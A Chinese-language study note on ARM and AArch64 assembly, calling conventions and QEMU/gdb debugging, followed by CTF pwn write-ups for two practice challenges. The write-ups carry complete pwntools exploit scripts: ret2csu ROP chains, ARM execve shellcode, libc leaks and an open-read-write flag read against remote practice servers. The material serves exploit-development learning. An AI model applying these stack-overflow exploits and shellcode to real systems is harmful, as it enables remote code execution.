ARM和AARCH64
ARM是32位架构,AARCH64是64位架构。
arrch寄存器和指令集
AArch拥有31个通用寄存器,系统运行在64位状态下的时候名字叫Xn,运行在32位的时候就叫Wn;
AArch32与AArch64寄存器对应关系:
函数调用约定:
ARM:参数 1~参数 4 分别保存到 R0~R3 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 R0 中。
ARM64:参数 1~参数 8 分别保存到 X0~X7 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 X0 中。
arm 下的 pc 相当于 eip 或者 rip,保存着下一条要执行的指令的地址
arm(32位)
跳转指令
跳转指令可以分为两种:
-
专门的跳转指令,可以实现向前向后32MB的地址跳转 -
直接修改PC寄存器,通过向PC寄存器写入目的地址,可以实现4GB的地址空间的跳转,结合使用MOV LR, PC,保存函数的返回地址
-
B:执行一个简单的跳转,目标地址是相对于当前PC值的偏移地址 -
BL:跳转之前会把PC值存到R14寄存器中,通常用于函数调用 -
BLX:和上一个指令相比,多的功能是将处理器的工作状态由ARM变成Thumb -
BX:可以跳转到ARM指令或者Thumb指令
数据处理指令
可分为数据传送指令、算术逻辑运算运算、比较指令
-
MOV:和X86是差不多的 -
MVN:在转移之前先按位取反 -
CMP:两个寄存器中的值进行比较,不改变寄存器的值,但是更新CPSR标志寄存器 -
ADD:把后两个寄存器相加,结果存在第一个寄存器中 -
SUB:把后两个寄存器相减,结果存在第一个寄存器中 -
AND:逻辑与 -
ORR:逻辑或 -
EOR:异或 -
MUL:把后两个寄存器相乘,结果存在第一个寄存器中
程序状态寄存器处理指令
-
MRS:用于将程序状态寄存器的内容送到通用寄存器 -
MSR:将操作数的内容送到程序状态寄存器的特定域
加载存储指令
适用于在寄存器和存储器之间数据的传输
和X86不一样的是mov指令只能够在寄存器之间传送数据
-
LDR:将一个32位的数据送到寄存器中 -
LDRB:将一个8位的数据送到寄存器中,并且把高24位清零 -
LDRH:将一个16位的数据送到寄存器中,并且把高16位清零 -
STR:从源寄存器32位存入到存储器中,和前几个指令相比是不清零
协处理器指令
-
CDP:用于ARM处理器通知ARM协处理器来处理特定的操作,若协处理器不能完成,则抛出异常 -
LDC:让协处理器来将源寄存器的内容送到存储器中,若协处理器不能完成操作,则抛出异常
异常产生指令
-
SWI:产生软件中断 -
BKPT:产生软件断点中断
以上总结的是常见的,如果做题遇到不认识的指令,及时添补即可
相关细节
32位寄存器
1、当参数少于4个时,子程序间通过寄存器R0~R3来传递参数;当参数个数多于4个时,将多余的参数通过数据栈进行传递,入栈顺序与参数顺序正好相反,子程序返回前无需恢复R0~R3的值
2、在子程序中,使用R4~R11保存局部变量,若使用需要入栈保存,子程序返回前需要恢复这些寄存器;R12是临时寄存器,使用不需要保存
3、R13用作数据帧指针,记作SP;R14用作链接寄存器,记作LR,用于保存子程序返回时的地址;R15是程序计数器,记作PC
4、ATPCS规定堆栈是满递减堆栈FD;
5、子程序返回32位的整数,使用R0返回;返回64位整数时,使用R0返回低位,R1返回高位
64位寄存器
ARM64位参数调用规则遵循AAPCS64,规定堆栈为满递减堆栈。寄存器调用规则如下:
子程序调用时必须要保存的寄存器:X19~X29和SP(X31) 不需要保存的寄存器:X0~X7,X9~X15
32位与64位的差异
栈arm32下,前4个参数是通过r0~r3传递,第4个参数需要通过sp访问,第5个参数需要通过sp + 4 访问,第n个参数需要通过sp + 4*(n-4)访问。
arm64下,前8个参数是通过x0~x7传递,第8个参数需要通过sp访问,第9个参数需要通过sp + 8 访问,第n个参数需要通过sp + 8*(n-8)访问。
ARM指令在32位下和在64位下并不是完全一致的,但大部分指令是通用的,特别的,” mov r2, r1, lsl #2”仅在ARM32下支持,它等同于ARM64的” lsl r2, r1, #2”
还有一些32位存在的指令在64位下是不存在的,比如vswp指令,条件执行指令subgt,addle等
简单分析
简单地分析一下汇编的逻辑。先看一下伪代码:
__int64 sub_400760()
{
setvbuf((FILE *)stdin, 0LL, 2, 0LL);
setvbuf((FILE *)stdout, 0LL, 2, 0LL);
return setvbuf((FILE *)stderr, 0LL, 2, 0LL);
}
再看看汇编代码
.text:0000000000400760 var_s0 = 0
.text:0000000000400760
.text:0000000000400760 STP X29, X30, [SP,#-0x10+var_s0]!
.text:0000000000400764 MOV X29, SP
.text:0000000000400768 ADRL X0, stdin
.text:0000000000400770 LDR X0, [X0] ; stream
.text:0000000000400774 MOV X3, #0 ; n
.text:0000000000400778 MOV W2, #2 ; modes
.text:000000000040077C MOV X1, #0 ; buf
.text:0000000000400780 BL .setvbuf
.text:0000000000400784 ADRL X0, stdout
.text:000000000040078C LDR X0, [X0] ; stream
.text:0000000000400790 MOV X3, #0 ; n
.text:0000000000400794 MOV W2, #2 ; modes
.text:0000000000400798 MOV X1, #0 ; buf
.text:000000000040079C BL .setvbuf
.text:00000000004007A0 ADRL X0, stderr
.text:00000000004007A8 LDR X0, [X0] ; stream
.text:00000000004007AC MOV X3, #0 ; n
.text:00000000004007B0 MOV W2, #2 ; modes
.text:00000000004007B4 MOV X1, #0 ; buf
.text:00000000004007B8 BL .setvbuf
.text:00000000004007BC NOP
.text:00000000004007C0 LDP X29, X30, [SP+var_s0],#0x10
.text:00000000004007C4 RET
bl指令是跳转指令,会将下一条指令的地址先放到x30寄存器,再跳转。然后进入我们的函数里,SP-0x10,然后STP将x29、x30寄存器保存在栈上(注意是栈顶)。接下来可以看到前4个参数依次从x0赋值到x3上,然后就是bl跳转函数执行,最后程序返回的时候通过LDP将栈上的值放回x29、x30寄存器上再RET。
gdb+qemu调试
安装共享链接库(32位和64位)
sudo apt-get install libc6-armhf-armel-cross
sudo apt-get install libc6-armhf-cross
sudo apt install libc6-dbg-arm64-cross
运行(32位和64位)
参数 -L指定共享库的位置
qemu-arm -L /usr/arm-linux-gnueabihf/ ./pwn
qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./pwn
调试(32位和64位)
qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf/ ./pwn
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu/ ./pwn
gdb-multiarch ./pwn
pwndbg> target remote 127.0.0.1:1234
shanghai2018_baby_arm
简单栈溢出
直接写入shellcode到bss段上,然后用mprotect改bss可执行就行了用ret2csu来写,布置好参数就行,原理和之前学的ret2csu的道理一样的
exp(原)
#coding=utf-8
from pwn import *
context(log_level='debug',arch='aarch64')
context.terminal = ['terminator','-x','sh','-c']
binary='./pwn'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
io=process(argv=['qemu-aarch64','-g','1234','-L','/usr/aarch64-linux-gnu/','pwn'])
else:
io=remote('node4.buuoj.cn',25630)
e=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
ru('Name:')
#shellcode = asm(shellcraft.aarch64.linux.sh())
shellcode = "x01x30x8fxe2x13xffx2fxe1x78x46x0ex30x01x90x49x1ax92x1ax08x27xc2x51x03x37x01xdfx2fx62x69x6ex2fx2fx73x68"
pay = shellcode.ljust(0x100,b'')+p64(0x4007C8)
s(pay.ljust(0x200,b''))
def func(func_got,a1,a2,a3,ret):
pay = b'a'*0x40+p64(0)+p64(0x4008CC)+p64(0)+p64(0x4008AC)+p64(0)+p64(1)+p64(func_got)+p64(a3)+p64(a2)+p64(a1)+p64(0)+p64(ret)
return pay
pay = func(0x411168,0x400000,0x1000,7,0x411068)
sl(pay)
shell()
但是拿不到shell,调试发现mprotect函数执行后段的权限没有改变,然后尝试orw拿到了flag
exp(改)
#coding=utf-8
from pwn import *
context(log_level='debug',arch='aarch64')
context.terminal = ['terminator','-x','sh','-c']
binary='./pwn'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
#io=process(argv=['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','pwn'])
io=process(argv=['qemu-aarch64','-g','1234','-L','/usr/aarch64-linux-gnu/','pwn'])
else:
io=remote('node4.buuoj.cn',26300)
e=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
ru('Name:')
libc= ELF('libc.so_2.6')
#libc= ELF('/usr/aarch64-linux-gnu/lib/libc.so.6')
#shellcode = asm(shellcraft.aarch64.linux.sh())
shellcode = "x01x30x8fxe2x13xffx2fxe1x78x46x0ex30x01x90x49x1ax92x1ax08x27xc2x51x03x37x01xdfx2fx62x69x6ex2fx2fx73x68"
with open('shell','rb') as fd:
shellcode=fd.read()
pay = shellcode.ljust(0x100,b'')+p64(0x4007C8)
s(pay.ljust(0x200,b''))
def func(func_got,a1,a2,a3,ret):
pay = b'a'*0x40+p64(0)+p64(0x4008CC)+p64(0)+p64(0x4008AC)+p64(0)+p64(1)+p64(func_got)+p64(a3)+p64(a2)+p64(a1)+p64(0)+p64(ret)
return pay
pay = func(e.got['write'],1,e.got['write'],8,0x400818)
sl(pay)
libc_base = u64(r(8))-libc.sym['write']
su('libc_base',libc_base)
ru('Name:')
pay = p64(libc_base+libc.sym['open'])+b'flag'
s(pay.ljust(0x200,b''))
pay = func(0x411068,0x411070,0,0,0x400818)
s(pay)
ru('Name:')
s(b'a'*0x200)
pay = func(e.got['read'],3,0x411068+0x300,0x30,0x400818)
s(pay)
ru('Name:')
s(b'a'*0x200)
pay = func(e.got['write'],1,0x411068+0x300,0x30,0x400818)
s(pay)
shell()
inctf2018_wARMup
直接是栈溢出,然后保护如下
注意这里开了nx但是bss段还是有执行权限的,这个有一点奇怪,然后这里试了下ret2csu
控制前3个参数然后跳回到main函数里
exp
#coding=utf-8
from pwn import *
context(log_level='debug',arch='arm')
context.terminal = ['terminator','-x','sh','-c']
binary='./wARMup'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
#io=process(argv=['qemu-arm','./wARMup'])
io=process(argv=['qemu-arm','-g','1234','-L','.','./wARMup'])
else:
io=remote('node4.buuoj.cn',25175)
e=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
ru('Welcome to bi0s CTF!n')
pay = b'a'*0x64+p32(e.bss()+0x100)+p32(0x1052C)
s(pay.ljust(0x78,b'a'))
'''
.text:0001058C loc_1058C ; CODE XREF: __libc_csu_init+50↓j
.text:0001058C ADD R4, R4, #1
.text:00010590 LDR R3, [R5],#4
.text:00010594 MOV R2, R9
.text:00010598 MOV R1, R8
.text:0001059C MOV R0, R7
.text:000105A0 BLX R3
.text:000105A4 CMP R6, R4
.text:000105A8 BNE loc_1058C
.text:000105AC POP {R4-R10,PC}
.text:00010400 off_10400 DCD __libc_csu_fini ; DATA XREF: _start+18↑r
.text:000105B8 EXPORT __libc_csu_fini
.text:000105B8 __libc_csu_fini ; DATA XREF: _start+18↑o
.text:000105B8 ; .text:off_10400↑o
.text:000105B8 BX LR
'''
def func(r0,r1,r2,func_got,ret):
pay=p32(0x000105AC)+p32(0)+p32(func_got)+p32(1)+p32(r0)+p32(r1)+p32(r2)+p32(0)+p32(0x0001058C)+b'a'*28+p32(ret)
return pay
main=0x00010524
pay = p32(e.bss()+0x100)+func(1,1,1,0x10400,main)
pay = pay.ljust(0x64,b'a')+p32(e.bss()+0x100-0x68+4)+p32(0x00010548)
'''
.text:00010548 SUB SP, R11, #4
.text:0001054C POP {R11,PC}
'''
s(pay.ljust(0x78,b'a'))
shellcode = "x01x30x8fxe2x13xffx2fxe1x78x46x0ex30x01x90x49x1ax92x1ax08x27xc2x51x03x37x01xdfx2fx62x69x6ex2fx2fx73x68"#asm(shellcraft.arm.linux.sh(),arch='arm')
ru('Welcome to bi0s CTF!n')
pay = shellcode.ljust(0x64,b'a')+p32(e.bss()+0x100)+p32(e.bss()+0x100-0x68)
s(pay)
shell()
参考博客:
https://blog.csdn.net/seaaseesa/article/details/105281585
https://blog.csdn.net/tanli20090506/article/details/71487570
原文始发于微信公众号(火炬木攻防实验室):异构框架之arm框架的pwn学习笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论